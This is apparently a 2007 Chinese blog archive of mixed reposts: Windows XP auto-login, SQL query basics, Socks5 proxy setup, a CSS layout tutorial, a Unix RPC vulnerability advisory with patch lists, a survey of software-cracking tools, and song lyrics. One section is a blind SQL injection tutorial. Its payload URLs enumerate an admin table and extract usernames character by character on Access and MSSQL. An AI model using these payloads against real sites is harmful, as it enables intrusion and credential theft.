月度存档: 三月 2007

XP自动登陆的方法

  如果你为XP的用户设置了密码,但是又不想在每次启动的时候输入密码,那你可以像下面这样做:

  在“运行”里输入“control userpasswords2”,在弹出的窗口中取消“要使用本机,用户必须输入用户名和密码”。确认以后在弹出的对话框里面输入你需要默认登陆的用户名和密码。就大功告成了!

简单学习理解掌握SQL注入技术

检测可否注入
http://127.0.0.1/xx?id=11 and 1=1 (正常页面)
http://127.0.0.1/xx?id=11 and 1=2 (出错页面)

检测表段的
http://127.0.0.1/xx?id=11 and exists (select * from admin)

检测字段的
http://127.0.0.1/xx?id=11 and exists (select username from admin)

检测ID
http://127.0.0.1/xx?id=11 and exists (select id from admin where ID=1)

检测长度的
http://127.0.0.1/xx?id=11 and exists (select id from admin where len(username)=5 and ID=1)

检测长度的
http://127.0.0.1/xx?id=11 and exists (select id from admin where len(username)=5 and ID=1)

检测是否为MSSQL数据库
http://127.0.0.1/xx?id=11 and exists (select * from sysobjects)

检测是否为英文

(ACCESS数据库)
http://127.0.0.1/xx?id=11 and exists (select id from admin where asc(mid(username,1,1)) between 30 and 130 and ID=1)

(MSSQL数据库)
http://127.0.0.1/xx?id=11 and exists (select id from admin where unicode(substring(username,1,1)) between 30 and 130 and ID=1)

检测英文的范围

(ACCESS数据库)
http://127.0.0.1/xx?id=11 and exists (select id from admin where asc(mid(username,1,1)) between 90 and 100 and ID=1)

(MSSQL数据库)
http://127.0.0.1/xx?id=11 and exists (select id from admin where unicode(substring(username,1,1)) between 90 and 100 and ID=1)

检测那个字符

(ACCESS数据库)
http://127.0.0.1/xx?id=11 and exists (select id from admin where asc(mid(username,1,1))=97 and ID=1)

(MSSQL数据库)
http://127.0.0.1/xx?id=11 and exists (select id from admin where unicode(substring(username,1,1))=97 and ID=1)

常用函数

Access:asc(字符) SQLServer:unicode(字符)
作用:返回某字符的ASCII码

Access:chr(数字) SQLServer:nchar(数字)
作用:与asc相反,根据ASCII码返回字符

Access:mid(字符串,N,L) SQLServer:substring(字符串,N,L)
作用:返回字符串从N个字符起长度为L的子字符串,即N到N+L之间的字符串

Access:abc(数字) SQLServer:abc (数字)
作用:返回数字的绝对值(在猜解汉字的时候会用到)

Access:A between B And C SQLServer:A between B And C
作用:判断A是否界于B与C之间

and exists(Select top 1 * From 用户 order by id)

1.在查询结果中显示列名:

a.用as关键字:select name as ’姓名’ from students order by age
b.直接表示:select name ’姓名’ from students order by age

2.精确查找:

a.用in限定范围:select * from students where native in (’湖南’, ’四川’)
b.between…and:select * from students where age between 20 and 30

c.“=”:select * from students where name = ’李山’

d. like:select * from students where name like ’李%’ (注意查询条件中有“%”,则说明是部分匹配,而且还有先后信息在里面,即查找以“李”开头的匹配项。所以若查询有“李”的所有对象,应该命令:’%李%’;若是第二个字为李,则应为’_李%’或’_李’或’_李_’。)

e.[]匹配检查符:select * from courses where cno like ’[AC]%’ (表示或的关系,与"in(…)"类似,而且"[]"可以表示范围,如:select * from courses where cno like ’[A-C]%’)

3.对于时间类型变量的处理

a.smalldatetime:直接按照字符串处理的方式进行处理,例如:select * from students where birth > = ’1980-1-1’ and birth <= ’1980-12-31’

4.集函数

a.count()求和,如:select count(*) from students (求学生总人数)
b.avg(列)求平均,如:select avg(mark) from grades where cno=’B2’
c.max(列)和min(列),求最大与最小

5.分组group

常用于统计时,如分组查总数:select gender,count(sno) from students group by gender(查看男女学生各有多少)
注意:从哪种角度分组就从哪列"group by"
对于多重分组,只需将分组规则罗列。比如查询各届各专业的男女同学人数 ,那么分组规则有:届别(grade)、专业(mno)和
性别(gender),所以有"group by grade, mno, gender"
select grade, mno, gender, count(*) from students group by grade, mno, gender
通常group还和having联用,比如查询1门课以上不及格的学生,则按学号(sno)分类有:
select sno,count(*) from grades where mark<60 group by sno having count(*)>1

6.UNION联合

合并查询结果,如:
SELECT * FROM students WHERE name like ‘张%’UNION [ALL] SELECT * FROM students WHERE name like ‘李%’

7.多表查询

a.内连接
select g.sno,s.name,c.coursename from grades g JOIN students s ON g.sno=s.sno JOIN courses c ON g.cno=c.cno
(注意可以引用别名)

b.外连接

b1.左连接

select courses.cno,max(coursename),count(sno) from courses LEFT JOIN grades ON courses.cno=grades.cno group by courses.cno

左连接特点:显示全部左边表中的所有项目,即使其中有些项中的数据未填写完全。

左外连接返回那些存在于左表而右表中却没有的行,再加上内连接的行。

b2.右连接

与左连接类似

b3.全连接

select sno,name,major from students FULL JOIN majors ON students.mno=majors.mno

两边表中的内容全部显示

c.自身连接

select c1.cno,c1.coursename,c1.pno,c2.coursename from courses c1,courses c2 where c1.pno=c2.cno

采用别名解决问题。

d.交*连接

select lastname+firstname from lastname CROSS JOIN firstanme

相当于做笛卡儿积

8.嵌套查询

a.用关键字IN,如查询猪猪山的同乡:

select * from students where native in (select native from students where name=’猪猪’)

b.使用关键字EXIST,比如,下面两句是等价的:

select * from students where sno in (select sno from grades where cno=’B2’)
select * from students where exists (select * from grades where grades.sno=students.sno AND cno=’B2’)

9.关于排序order

a.对于排序order,有两种方法:asc升序和desc降序

b.对于排序order,可以按照查询条件中的某项排列,而且这项可用数字表示,如:
select sno,count(*) ,avg(mark) from grades group by sno having avg(mark)>85 order by 3

10.其他

a.对于有空格的识别名称,应该用"[]"括住。

b.对于某列中没有数据的特定查询可以用null判断,如select sno,courseno from grades where mark IS NULL

c.注意区分在嵌套查询中使用的any与all的区别,any相当于逻辑运算“  ”而all则相当于逻辑运算“&&”

d.注意在做否定意义的查询是小心进入陷阱:

如,没有选修‘B2’课程的学生 :
select students.* from students, grades where students.sno=grades.sno AND grades.cno <> ’B2’

上面的查询方式是错误的,正确方式见下方:
select * from students where not exists (select * from grades where grades.sno=students.sno AND cno=’B2’)

11.关于有难度多重嵌套查询的解决思想:如,选修了全睝@纬痰难?br>select * from students where not exists (select * from courses where NOT EXISTS (select * from grades where sno=students.sno AND cno=courses.cno))

最外一重:从学生表中选,排除那些有课没选的。用not exist。由于讨论对象是课程,所以第二重查询从course表中找,排除那些选了课的即可

在Linux主机上安装Socks5代理

Linux本身可以通过添加插座软件包起到代理防火墙的作用,而且这一切都是免费的。

什么是代理防火墙

 代理防火墙不让任何直接的网络流通过,而由它作为互联网和内部网络计算机之间的中间媒介。防火墙自己处理各种网络服务而不是只让它们直接通过。例如,登录到网络上的计算机请求一个网页。计算机不直接链接到网络服务提供的网页,而是连到自己网络的代理服务器上,代理服务器识别代理请求,然后以合适的方式传递给相应的网络服务器。远程网络服务器视为来自防火墙服务器的正常网络请求,发送合适的网页,防火墙服务器再把网页返送给计算机。

 这样,防火墙就对Internet隐蔽了你的计算机存在的事实,减少外界对内部网络的可见性。

 安装

 1.在http://www.socks.nec.com/cgi-bin/download.pl站点找到Socks软件包,在下载前要填写有关的用户信息,然后单击[Submit]按钮,此后登录到具有下载链接的页面,单击链接来下载插座软件包。

 2.在存储下载的Socks软件包的目录中,使用Tar命令解开该软件包。

 Tar – xzvf sock5-vl. 0r11.tar.gz

 此命令创建一个sock5-vl. 0r11目录,把软件包解压到该目录中,使用CD命令变成该目录。该目录中有一个编辑和安装软件包的配置脚本。使用Su命令变成根用户,然后在命令提示下运行脚本。

 3.输入Make命令编译Socks包,完成以后,通过输入Make Install命令安装软件包。

 注意:在使用之前,必须在/etc目录下创建一个Socks5.conf文件,Socks5检查/etc/socks5.conf文件得知将代理什么协议和服务,以及哪个计算机将能够使用此代理服务。

 创建Socks5.conf文件

 Socks5.conf文件被分成6部分。每一部分控制Socks5守护进程处理特定链接的一个特别项,当一个客户计算机连到代理服务器上,Socks5连续搜索每一部分的每一行,并根据遇到的规则决定采取什么行动,当找到与处理的链接相匹配的规则行时停止,所以规则的顺序很重要。

 1.主机地址标志。主机地址可以是完整的主机名或IP地址,例如:gzdd .sjsgz .net或10.88.56.4,它也可能是一个部分主机名或地址,例如:. sjsgz .net或10 .88.56.4。

 注意:部分主机名以点(.)字符开始就允许Socks识别部分主机名用它匹配Sjsgz .net域的任何主机。

 2.禁止主机部分。禁止主机部分用于禁止对指定主机和协议的代理服务。一个禁止主机行总是以关键词Ban开始,后跟源主机参数和一个源端口参数。

 命令格式:Ban source-host sour-ce-port

 例如:Ban gzdd.sjsgz.net http,表明主机gzdd被禁止访问系统上的网络服务;Ban 199.170.176.-,表明199.170.176.x网上主机都不可访问系统上任何代理服务;Ban – -,表明任何主机不可访问此系统的任何代理服务。

 3.访问控制部分。这是Socks5.conf文件最有用的部分,访问控制部分用于允许或禁止基于源和目的机器的主机地址或端口号的代理连接,访问控制行总以关键词Permit或关键词Deny开头。

 命令格式:Permit auth cmd src-host dest-host src-port dest-port或Deny auth cmd src-host dest-host src-port dest-port

例如:Permit – – 10.88.56. – 1880 http,表明允许在10.88.56. x网段的主机通过端口1880访问网络;Deny – – – – – -,表明拒绝所有连接。

 当一个客户机连到代理服务器上时,Socks扫描控制行列表,若找不到匹配的Socks拒绝连接。

 启动Socks5服务

 可以用手工启动守护进程,只需以根用户登录,在命令提示符下输入Socks5,Socks5守护进程被放到背景执行并返回提示符。也可以把Socks5命令放入/etc/rc.d下的Rc.local启动脚本中,以使下次启动机器时自动启动Socks5。尽管仍以根用户登录,但还需要把/etc/rc.d/rc.local文件调入文本编辑器并在文件末加入以下几行:

 # Start socks5 proxy services

 /usr/local/bin/socks5

 完成后存贮文件并退出编辑器。

 这样通过在Linux中安装软件包,创建Socks5文件,使得Linux起到代理防火墙的作用,保证校园网络的安全。

简析十大破解工具

  影响共享软件发展的因素很多,被非法破解可以说是共享软件的头号大敌。那么造成共享软件生存困难的cracker们到底用了那些武器呢?今天就让我让带您去看看神秘的cracker常用的十类软件,它们就是共享软件的十大杀手!

  一. 调试类工具soft-ice和trw2000。

  soft-ice是目前公认最好的跟踪调试工具。使用soft-ice可以很容易的跟踪一个软件、或是监视软件产生的错误进行除错,它有dos、window3.1、win95/98/nt/2000/各个平台上的版本。这个本是用来对软件进行调试、跟踪、除错的工具,在cracker手中变成了最恐怖的破解工具;trw2000是中国人自己编写的调试软件,完全兼容soft-ice各条指令,由于现在许多软件能检测soft-ice存在,而对trw2000的检测就差了许多,因此目前它成了很多cracker的最爱。trw2000专门针对软件破解进行了优化,在windows下跟踪调试程序,跟踪功能更强;可以设置各种断点,并且断点种类更多;它可以象一些脱壳工具一样完成对加密外壳的去除,自动生成exe文件,因此它的破解能力更强,在破解者手中对共享软件的发展威胁更大。它还有在dos下的版本,名为tr。

  二. 反汇编工具wdasm8.93黄金版和hiew。

  cracker常将soft-ice和trw2000比作屠龙刀,将wdasm8.93则比作倚天剑。wdasm8.93可方便地反汇编程序,它能静态分析程序流程,也可动态分析程序。在原有的普通版的基础上,一些破解者又开发出了wdasm8.93黄金版,加强了对中文字符串的提取。对国产共享软件的威胁也就更大了。例如开心斗地主这个很好玩的共享软件,用黄金版对其反汇编可以直接看到注册码,普通版不能,您说它厉害不?hiew是一个十六进制工具,它除了普通十六进制的功能外,它还有个特色,能反汇编文件,并可以用汇编指令修改程序, 用它修改程序,方便快捷!这也是cracker们常用的静态反汇编工具。

  三. visual basic程序调试工具smartcheck。

  这是专门针对visual basic程序的调试程序,由于vb程序执行时从本质上讲是解释执行,它们只是调用 vbrunxxx.dll 中的函数 ,因此vb 的可执行文件是伪代码,程序都在vbxxx.dll 里面执行。若用soft-ice跟踪调试只能在vbdll里面用打转转,看不到有利用价值的东西,而且代码质量不高,结构还很复杂。当然只要了解其特点用soft-ice也可破解 ,但smartcheck的出现,大大方便了cracker。smartcheck 是 numega 公司出口的一款出色的调试解释执行程序的工具,目前最新版是v6.03。它非常容易使用,你甚至于不需要懂得汇编语言都能轻易驾驭它。它可将vb程序执行的操作完全记录下来,使破解者轻而易举的破解大部分vb程序。

  四. 十六进制编辑器ultraedit。

  十六进制编辑器可以用十六进制方式编辑文件,修改文件的内容。虽然hiew就是一款是十六进制工具,但它是dos界面,因此很多破解者又准备了一款windows下的工具,这样的工具很多,如:ultraedit、winhex、hex workshop 等,其中ultraedit比较有特色,操作方便,更有汉化版可用,它是非常出色的十六进制编辑器,建议您也找一个用用。

  五. 注册表监视工具

  主要有regshot、regmon或regsnap等。在微软操作系统中,众多的设置都存放在注册表中,注册表是windows的核心数据库,表中存放着各种参数,直接控制着windows的启动、硬件驱动程序的装载以及一些windows应用程序的正常运行。在应用软件安装时,有可能将一些必要的信息放进去,如安装时间、使用次数、注册码等。regshot、regmon或regsnap就是监视注册表变化的工具,通过它可以了解、监视应用程序在注册表中的动作,破解者常利用它们来监视应用程序在注册表中的变化。

  六. 文件监视工具filemon。

  可监视系统中指定文件运行状况,如指定文件打开了哪个文件,关闭了哪个文件,对哪个文件进行了数据读取等。通过它,任何您指定监控的文件有任何读、写、打开其它文件的操作都能被它监视下来,并提供完整的报告信息。破解者经常利用filemon监控文件系统,以便了解程序在启动、关闭或验证注册码时做了哪些手脚,并由此进行相应的解密。

  七. 脱壳工具procdump。

  现在许多软件都加了壳,“壳”是一段专门负责保护软件不被非法修改或反编译的程序。它们一般都是先于程序运行,拿到控制权,然后完成它们保护软件的任务。经过加壳的软件在跟踪时已无法看到其真实的十六进制代码,因此可以起到保护软件的目的。procdump就是个对付软件加壳的脱壳工具,它可剥去许多种壳,还文件本来面目,这样再修改文件内容就容易多了。由于它还允许使用者自己编写脚本文件,因此利用它能脱去新版加壳软件的壳。它同时还是一款优秀的pe格式修改工具,是脱壳必备工具!

  八. 侦测文件类型工具

  这样的工具有typ、gtw、fileinfo和冲击波2000等。它们被用来侦测软件被加壳类型,其中冲击波2000能轻易的找到任何加密壳的入口点,包括asprotect以及幻影的加密壳都可以。这类软件一般是配合procdump和调试软件使用的,用它们找到程序加壳类型,用procdump或soft-ice、trw2000脱壳。

  九. 资源修改器 exescope。

  exescope是一个可以修改软件资源的工具,功能强大。 exescope能在没有资源文件的情况下分析、显示不同的信息,重写可执行文件的资源,包括(exe,dll,ocx)等。它可以直接修改用 vc++ 及 delphi 编制的程序的资源,包括菜单、对话框、字串表等,是汉化软件的常用工具。在破解者手中,它常被用来修改文件资源中的菜单、对话框、字串表等,用以显示破解者需要的信息(例如更改版权信息等),以此达到修改软件的目的。

  十. api调用查询工具api spy。

  顾名思义,这个程序是用来侦测软件都调用了哪些api。 api就是windows程序执行时所呼叫的函数,跟dos下的int(中断)差不多,windows 提供了很多这样的函数让程序设计者套用,主要目的是为了节省软件开发的时间,方便大家开发软件。api spy就是这样一个监控api调用的软件,它可以查看应用程序调用了哪些api,从而得出对破解者有用的api调用信息,通过这些api调用来设定断点,达到破解软件的目的。它可以工作在windows95/98/nt/2000平台下。

  好了,共享软件的十大杀手为您介绍完了,如何对付它们就是您的事了。需要说明的一点是,以上提到的软件都是“正当”软件,只是在不同的使用者手中发挥了不同的用途。就犹如一把枪,在人民军队手中就是保家卫国的武器,在为非作歹的坏人手中就是一把凶器了,千万不能此就对这些软件产生成见哦!

中国版的蜡笔小新和小白

  看到这个照片,忍不住要贴上了。真是太像了!哈哈!

 1147789990148.jpg

彻底弄懂CSS盒子模式(DIV布局)

前言

如果你想尝试一下不用表格来排版网页,而是用CSS来排版你的网页,也就是常听的用DIV来编排你的网页结构,又或者说你想学习网页标准设计,再或者说你的上司要你改变传统的表格排版方式,提高企业竞争力,那么你一定要接触到的一个知识点就是CSS的盒子模式,这就是DIV排版的核心所在,传统的表格排版是通过大小不一的表格和表格嵌套来定位排版网页内容,改用CSS排版后,就是通过由CSS定义的大小不一的盒子和盒子嵌套来编排网页。因为用这种方式排版的网页代码简洁,更新方便,能兼容更多的浏览器,比如PDA设备也能正常浏览,所以放弃自己之前钟爱的表格排版也是值得的,更重要的是CSS排版网页的优势远远不只这些,本人在这里就不多说,自己可以去查找相关信息。

理解CSS盒子模式

什么是CSS的盒子模式呢?为什么叫它是盒子?先说说我们在网页设计中常听的属性名:内容(content)、填充(padding)、边框(border)、边界(margin), CSS盒子模式都具备这些属性。


CSS盒子模式

这些属性我们可以把它转移到我们日常生活中的盒子(箱子)上来理解,日常生活中所见的盒子也具有这些属性,所以叫它盒子模式。那么内容就是盒子里装的东西;而填充就是怕盒子里装的东西(贵重的)损坏而添加的泡沫或者其它抗震的辅料;边框就是盒子本身了;至于边界则说明盒子摆放的时候的不能全部堆在一起,要留一定空隙保持通风,同时也为了方便取出嘛。在网页设计上,内容常指文字、图片等元素,但是也可以是小盒子(DIV嵌套),与现实生活中盒子不同的是,现实生活中的东西一般不能大于盒子,否则盒子会被撑坏的,而CSS盒子具有弹性,里面的东西大过盒子本身最多把它撑大,但它不会损坏的。填充只有宽度属性,可以理解为生活中盒子里的抗震辅料厚度,而边框有大小和颜色之分,我们又可以理解为生活中所见盒子的厚度以及这个盒子是用什么颜色材料做成的,边界就是该盒子与其它东西要保留多大距离。

在现实生活中,假设我们在一个广场上,把不同大小和颜色的盒子,以一定的间隙和顺序摆放好,最后从广场上空往下看,看到的图形和结构就类似我们要做的网页版面设计了,如下图。


由“盒子”堆出来的网页版面

现在对CSS盒子模式理解多少了,如果还不够透彻,继续往下看,我会在后面举例,并延用盒子的概念来解释它。

转变我们的思路

传统的前台网页设计是这样进行的:根据要求,先考虑好主色调,要用什么类型的图片,用什么字体、颜色等等,然后再用Photoshop这类软件自由的画出来,最后再切成小图,再不自由的通过设计HTML生成页面,改用CSS排版后,我们要转变这个思想,此时我们主要考虑的是页面内容的语义和结构,因为一个强CSS控制的网页,等做好网页后,你还可以轻松的调你想要的网页风格,况且CSS排版的另外一个目的是让代码易读,区块分明,强化代码重用,所以结构很重要。如果你想说我的网页设计的很复杂,到后来能不能实现那样的效果?我要告诉你的是,如果用CSS实现不了的效果,你更不用想用表格去实现,因为CSS的控制能力实在是太强大了,顺便说一点的是用CSS排版有一个很实用的好处是,如果你是接单做网站的,如果你用了CSS排版网页,做到后来客户有什么不满意,特别是色调的话,那么改起来就相当容易,甚至你还可以定制几种风格的CSS文件供客户选择,又或者写一个程序实现动态调用,让网站具有动态改变风格的功能。

实现结构与表现分离

在真正开始布局实践之前,再来认识一件事——结构和表现相分离,这也用CSS布局的特色所在,结构与表现分离后,代码才简洁,更新才方便,这不正是我们学习CSS的目的所在吗?举个例来说P是结构化标签,有P标签的地方表示这是一个段落区块,margin是表现属性,我要让一个段落右缩进2字高,有些人会想到加空格,然后不断地加空格,但现在可以给P标签指定一个CSS样式:P {text-indent: 2em;}或者P{margin:0em 0em 0em 2em;},这样结果body内容部分就如下,这没有外加任何表现控制的标签:

加进天涯社区有一段时间了,但一直没有时间写点东西,今天写了一篇有关CSS布局的文章,并力求通过一种通俗的语言来说明知识点,还配以实例和图片,相信对初学CSS布局的人会带来一定的帮助。

如果还要对这个段落加上字体、字号、背景、行距等修饰,直接把对应的CSS加进P样式里就行了,不用像这样来写了:

<p><font color="#FF0000" face="宋体">段落内容</font></p>

这个是结构和表现混合一起写的,如果很多段落有统一结构和表现的话,再这样累加写下去代码就繁冗了。

再直接列一段代码加深理解结构和表现相分离:

用CSS排版

<style type="text/css">
<!–
#photoList img{
height:80;
width:100;
margin:5px auto;
}
–>
</style>

<div id="photoList">
<img src="01.jpg" />
<img src="02.jpg" />
<img src="03.jpg" />
<img src="04.jpg" />
<img src="05.jpg" />
</div>

不用CSS排版

<img src="01.jpg" width="100" height="80" align="middle" />
<img src="02.jpg" width="100" height="80" align="middle" />
<img src="03.jpg" width="100" height="80" align="middle" />
<img src="04.jpg" width="100" height="80" align="middle" />
<img src="05。jpg" width="100" height="80" align="middle" />

第一种方法是结构表现相分离,内容部分代码简单吧,如果还有更多的图片列表的话,那么第一种CSS布局方法就更有优势,我打个比喻你好理解:我在BODY向你介绍一个人,我只对你说他是一个人,至于他是一个什么样的人,有多高,是男是女,你去CSS那里查下就知道。这样我在BODY的工作就简单了,也就是说BODY的代码就简单了。如果BODY有一个团队人在那里,我在CSS记录一项就行了,这有点像Flash软件里的元件和实例的概念,不同的实例共享同一个元件,这样动画文件就不大了,把这种想法移到CSS网页设计中,就是代码不复杂,网页文件体积小能较快被客户端下载了。

演示地址:http://www.hsptc.com/css1.html

用CSS排版减小网页文件体积

像上面我做的那个版面,一共分为四个区块,每个区块的框架是一样的,这个框架就是用CSS写出来的,样式写一次,就可以被无数次调用了(用class调用,而不是ID),只要改变其中的文字内容就可以生成风格统一的众多板块了,它的样式和结构代码是(请不要直接复制生成网页,把下面代码分别粘贴到网页中它们应在的位置):

<style type="text/css">
<!–
body {
font-size: 12px;
margin: 0px auto;
height: auto;
width: 805px;
}
.mainBox {
border: 1px dashed #0099CC;
margin: 3px;
padding: 0px;
float: left;
height: 300px;
width: 192px;
}
.mainBox span {
float: left;
height: 20px;
width: 179px;
color: #FFFFFF;
padding: 6px 3px 3px 10px;
background-color: #0099CC;
font-size: 16px;
}
.mainBox p {
line-height: 1.5em;
text-indent: 2em;
margin: 35px 5px 5px 5px;
}
–>
</style>

<div class="mainBox">
<span>前言</span>
<p>正文内容</p>
</div>

<div class="mainBox">
<span>CSS盒子模式</span>
<p>正文内容 </p>
</div>

<div class="mainBox">
<span>转变思想</span>
<p>正文内容 </p>
</div>

<div class="mainBox">
<span>熟悉步骤</span>
<p>正文内容 </p>
</div>

熟悉工作流程

在真正开始工作之前我们脑海中要形成这样一种思想:表格是什么我不知道,在内容部分我不能让它再出现表现控制标签,如:font、color、height、width、align等标签不能再出现,(简单说工作前先洗脑,忘掉以前的一惯做法,去接受和使用全新的方法),我不是单纯的用DIV来实现排版的嵌套,DIV是块级元素,而像P也是块级元素,例如要分出几个文字内容块,不是一定要用DIV才叫DIV排版,不是“<div>文字块一</div><div>文字块二</div><div>文字块三</div>”,而用“<p>文字块一</p><p>文字块二</p><p>文字块三</p>”更合适。

用DIV+CSS设计思路是这样的: 1.用div来定义语义结构;2.然后用CSS来美化网页,如加入背景、线条边框、对齐属性等;3.最后在这个CSS定义的盒子内加上内容,如文字、图片等(没有表现属性的标签),下面大家跟我一起来做一个实例加深对这个步骤的理解。先看结果图:

演示地址:http://www.hsptc.com/css2.html
CSS排版结果图
1.用div来定义语义结构
现在我要给大家演示的是一个典型的版面分栏结构,即页头、导航栏、内容、版权(如下图),


典型版面分栏结构

其结构代码如下:

<div id="header"></div>
<div id="nav"></div>
<div id="content"></div>
<div id="footer"></div>

上面我们定义了四个盒子,按照我们想要的结果是,我们要让这些盒子等宽,并从下到下整齐排列,然后在整个页面中居中对齐,为了方便控制,我们再把这四个盒子装进一个更大的盒子,这样代码就变成:

<div id=”mainBox”>
<div id="header"></div>
<div id="nav"></div>
<div id="content"></div>
<div id="footer"></div>
</div>

最外边的大盒子(装着小盒子的大盒子)我们要让它在页面居中,同时加上边框,那么它的样式是:
#mainBox {
margin: 0px auto;
height: auto;
width: 760px;
border: 1px solid #006633;
}

页头为了简单起见,我们这里只要让它整个区块应用一幅背景图就行了,并在其下边界设计定一定间隙,目的是让页头的图像不要和下面要做的导航栏连在一起,这样也是为了美观。其样式代码为:
#header {
height: 100px;
width: 760px;
background-image: url(headPic.gif);
background-repeat: no-repeat;
margin:0px 0px 3px 0px;
}

导航栏我做成像一个个小按钮,鼠标移上去会改变按钮背景色和字体色,那么这些小小的按钮我们又可以理解为小盒子,如此一来这是一个盒子嵌套问题了,样式代码如下:
#nav {
height: 25px;
width: 760px;
font-size: 14px;
list-style-type: none;
}
#nav li {
float:left;
}
#nav li a{
color:#000000;
text-decoration:none;
padding-top:4px;
display:block;
width:97px;
height:22px;
text-align:center;
background-color: #009966;
margin-left:2px;
}
#nav li a:hover{
background-color:#006633;
color:#FFFFFF;
}

内容部分主要放入文章内容,有标题和段落,标题加粗,为了规范化,我用H标签,段落要自动实现首行缩进2个字,同时所有内容看起来要和外层大盒子边框有一定距离,这里用填充。内容区块样式代码为:
#content {
height:auto;
width: 740px;
line-height: 1.5em;
padding: 10px;
}
#content p {
text-indent: 2em;
}
#content h3 {
font-size: 16px;
margin: 10px;

版权栏,给它加个背景,与页头相映,里面文字要自动居中对齐,有多行内容时,行间距合适,这里的链接样式也可以单独指定,我这里就不做了。其样式代码如下:

#footer {
height: 50px;
width: 740px;
line-height: 2em;
text-align: center;
background-color: #009966;
padding: 10px;
}
最后回到样式开头大家会看到这样的样式代码:
* {
margin: 0px;
padding: 0px;
}

这是用了通配符初始化各标签边界和填充,(因为有部分标签默认会有一定的边界,如Form标签)那么接下来就不用对每个标签再加以这样的控制,这可以在一定程度上简化代码。最终完成全部样式代码是这样的:

<style type="text/css">
<!–
* {
margin: 0px;
padding: 0px;
}
body {
font-family: Arial, Helvetica, sans-serif;
font-size: 12px;
}

#mainBox {
margin: 0px auto;
height: auto;
width: 760px;
border: 1px solid #006633;
}
#header {
height: 100px;
width: 760px;
background-image: url(headPic.gif);
background-repeat: no-repeat;
margin:0px 0px 3px 0px;
}
#nav {
height: 25px;
width: 760px;
font-size: 14px;
list-style-type: none;
}
#nav li {
float:left;
}
#nav li a{
color:#000000;
text-decoration:none;
padding-top:4px;
display:block;
width:97px;
height:22px;
text-align:center;
background-color: #009966;
margin-left:2px;
}
#nav li a:hover{
background-color:#006633;
color:#FFFFFF;
}
#content {
height:auto;
width: 740px;
line-height: 1.5em;
padding: 10px;
}

#content p {
text-indent: 2em;
}
#content h3 {
font-size: 16px;
margin: 10px;
}
#footer {
height: 50px;
width: 740px;
line-height: 2em;
text-align: center;
background-color: #009966;
padding: 10px;
}
–>
</style>

结构代码是这样的:
<div id="mainBox">
<div id="header"></div>
<ul id="nav">
<li><a href="#">首 页</a></li>
<li><a href="#">文 章</a></li>
<li><a href="#">相册</a></li>
<li><a href="#">Blog</a></li>
<li><a href="#">论 坛</a></li>
<li><a href="#">帮助</a></li>
</ul>
<div id="content">
<h3>前言</h3>
<p>第一段内容</p>
<h3>理解CSS盒子模式</h3>
<p>第二段内容</p>
</div>
<div id="footer">
<p>关于华升   广告服务   华升招聘   客服中心   Q Q留言   网站管理   会员登录   购物车</p><p>Copyright &copy; 2006 – 2008 Tang Guohui. All Rights Reserved</p>
</div>
</div>

好了,此文到此结束,更多内容,如:CSS中的盒子宽度计算,浏览器兼容问题,XHTML规范化写法等请大家去参考其它资料。如果觉得此文还可以,看过之后记得跟帖,你的鼓励是我不断出新文章的动力^-^

 

国内Unix主机常见安全漏洞

影响:

入侵者可以藉此漏洞修改网页、获得该主机管理权。

事件描述:

在遭受攻击的 UNIX 系统上,入侵者常利用下列

 

  rpc.ttdbserver
  rpc.cmsd 
  rpc.statd/automountd
  sadmind

程序的 Buffer Overflow 漏洞自远程入侵主机。

解决方法:

1.将不必要的 RPC service 自 /etc/inetd.conf 中移除,移除方法为

(1)编辑 /etc/inetd.conf,将不必要的 service 前面加上 "#" 或直接删除后存盘;

(2)kill -HUP inetd.pid。

2.安装修补程序 (patch)

(1)rpc.statd 及 automountd

Solaris:请依照您的版本安装下列修补程序

 

rpc.statd:
    
    OS Version        Patch ID 
    __________        _________
    
    SunOS 5.6         106592-02 
    SunOS 5.6_x86     106593-02 
    SunOS 5.5.1       104166-04 
    SunOS 5.5.1_x86   104167-04  
    SunOS 5.5         103468-04 
    SunOS 5.5_x86     103469-05 
    SunOS 5.4         102769-07 
    SunOS 5.4_x86     102770-07 
    SunOS 5.3         102932-05 
    
    automountd:
    
    OS Version        Patch ID  
    __________        _________ 
    SunOS 5.5.1       104654-05 
    SunOS 5.5.1_x86   104655-05 
    SunOS 5.5         103187-43 
    SunOS 5.5_x86     103188-43 
    SunOS 5.4         101945-61 
    SunOS 5.4_x86     101946-54 
    SunOS 5.3         101318-92

档案可至下列 URL 下载:
  ftp://sunsolve.sun.com/pub/patches
RedHat:
请参考下列 URL:
  http://www.redhat.com/support/errata/RHSA-2000-043-03.HTML
Debian:
请参考下列 URL:
  http://www.debian.org/security/2000/20000719a
(2)rpc.cmsd
Solaris:
请依照您的版本安装下列修补程序
OpenWindows:

SunOS version     Patch ID
     _____________     _________
     SunOS 5.5.1       104976-04
     SunOS 5.5.1_x86   105124-03
     SunOS 5.5         103251-09
     SunOS 5.5_x86     103273-07
     SunOS 5.3         101513-14
     SunOS 4.1.4       100523-25
     SunOS 4.1.3_U1    100523-25

  CDE:



     CDE version       Patch ID
     ___________       ________
     1.3               107022-03
     1.3_x86           107023-03
     1.2               105566-07
     1.2_x86           105567-08

档案可至下列 URL 下载:
ftp://sunsolve.sun.com/pub/patches
(3)rpc.ttdbserverd
Solaris:
请依照您的版本安装下列修补程序

SunOS version    Patch ID 
      _____________    _________

      5.7              107893-04
      5.7_x86          107894-04 
      5.6              105802-11 
      5.6_x86          105803-13
      5.5.1            104489-10
      5.5.1_x86        105496-08
      5.5              104428-08
      5.5_x86          105495-06
      5.4              102734-05

档案可至下列 URL 下载:
ftp://sunsolve.sun.com/pub/patches
(4)sadmind
Solaris:
请依照您的版本安装下列修补程序

OS Version             Patch ID        
     __________             _________
     SunOS 5.7              108662-01   
     SunOS 5.7_x86          108663-01    
     SunOS 5.6              108660-01   
     SunOS 5.6_x86          108661-01   
     SunOS 5.5.1            108658-01
     SunOS 5.5.1_x86        108659-01

Goo Goo Dolls — Iris

《Iris》

Sung By "Goo Goo Dolls"

And I‘d give up forever to touch you
Cause I know that you feel me somehow
You‘re the closest to heaven that I‘ll ever be
And I don‘t want to go home right now

And all I can taste is this moment
And all I can breathe is your life
And sooner or later it‘s over
I just don‘t want to miss you tonight

And I don‘t want the world to see me
Cause I don‘t think that they‘d understand
When everything‘s made to be broken
I just want you to know who I am

And you can‘t fight the tears that ain‘t coming
Or the moment of truth in your lies
When everything feels like the movies
Yeah you bleed just to know you‘re alive

And I don‘t want the world to see me
Cause I don‘t think that they‘d understand
When everything‘s made to be broken
I just want you to know who I am

The End.

记者上街学雷锋做好事遭遇尴尬

